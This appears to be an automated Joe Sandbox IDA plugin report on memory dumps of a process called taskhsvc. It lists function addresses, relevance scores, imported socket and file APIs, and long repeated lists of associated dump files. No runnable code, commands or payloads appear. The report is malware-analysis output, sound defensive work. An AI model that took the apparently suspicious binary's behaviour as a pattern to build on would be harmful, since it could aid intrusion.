Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E4243, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134

APIs

Part of subcall function 001E331A: __stack_chk_fail.LIBSSP-0 ref: 001E335F

Part of subcall function 001E32E4: __stack_chk_fail.LIBSSP-0 ref: 001E3313

recv.WS2_32 ref: 001E42C1
abort.MSVCRT ref: 001E4431

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

__stack_chk_fail.LIBSSP-0 ref: 001E4444

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 0031910D: __stack_chk_fail.LIBSSP-0 ref: 00319194

Strings

dA, xrefs: 001E4419
G', xrefs: 001E42EC
`QA, xrefs: 001E42F5

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002BF7B1, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132

APIs

__stack_chk_fail.LIBSSP-0 ref: 002BF99F

Part of subcall function 00324AEC: strftime.MSVCRT ref: 00324B34
Part of subcall function 00324AEC: __stack_chk_fail.LIBSSP-0 ref: 00324B45

Part of subcall function 00316005: __stack_chk_fail.LIBSSP-0 ref: 0031605E

strlen.MSVCRT ref: 002BF845
strerror.MSVCRT ref: 002BF878
strlen.MSVCRT ref: 002BF8B5

Part of subcall function 00316B7E: _lseek.MSVCRT ref: 00316BAF
Part of subcall function 00316B7E: __stack_chk_fail.LIBSSP-0 ref: 00316BBD

Part of subcall function 003255C5: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00312E2F), ref: 00325635
Part of subcall function 003255C5: _write.MSVCRT ref: 00325691
Part of subcall function 003255C5: __stack_chk_fail.LIBSSP-0 ref: 003256C2

strerror.MSVCRT ref: 002BF93C

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

3, xrefs: 002BF82C

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031683A, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113

APIs

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 003159C4: _open.MSVCRT ref: 00315A44
Part of subcall function 003159C4: __stack_chk_fail.LIBSSP-0 ref: 00315A5A

strerror.MSVCRT ref: 003168C0
_lseek.MSVCRT ref: 00316919
strerror.MSVCRT ref: 00316972
_close.MSVCRT ref: 003169B7

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

__stack_chk_fail.LIBSSP-0 ref: 003169FB

Strings

F, xrefs: 003168D0

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DE0B4, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100

APIs

abort.MSVCRT ref: 001DE10A

Part of subcall function 001DCFEC: abort.MSVCRT ref: 001DD04F
Part of subcall function 001DCFEC: __stack_chk_fail.LIBSSP-0 ref: 001DD062

Part of subcall function 001DC6B8: __stack_chk_fail.LIBSSP-0 ref: 001DC6EB

abort.MSVCRT ref: 001DE17C
abort.MSVCRT ref: 001DE1BB
__stack_chk_fail.LIBSSP-0 ref: 001DE24C

Part of subcall function 001DC72F: __stack_chk_fail.LIBSSP-0 ref: 001DC77E

Part of subcall function 001DB024: __stack_chk_fail.LIBSSP-0 ref: 001DB059

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

02A, xrefs: 001DE21A
KA, xrefs: 001DE222

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E488E, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98

APIs

send.WS2_32 ref: 001E48F4
abort.MSVCRT ref: 001E49F5

Part of subcall function 0031910D: __stack_chk_fail.LIBSSP-0 ref: 00319194

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001E3B5E: abort.MSVCRT ref: 001E3BBD
Part of subcall function 001E3B5E: abort.MSVCRT ref: 001E3C00
Part of subcall function 001E3B5E: __stack_chk_fail.LIBSSP-0 ref: 001E3CB8

__stack_chk_fail.LIBSSP-0 ref: 001E4A08

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

`RA, xrefs: 001E496C
G', xrefs: 001E4923
ldA, xrefs: 001E49DD

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002875C0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90

APIs

time.MSVCRT ref: 002875F0

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

abort.MSVCRT ref: 00287690
__stack_chk_fail.LIBSSP-0 ref: 00287724

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

abort.MSVCRT ref: 002876E2
event_add.LIBEVENT-2-0-5 ref: 00287713

Strings

A, xrefs: 002876D2

Memory Dump Source

Source File: 00000013.00000002.1855138358.00267000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
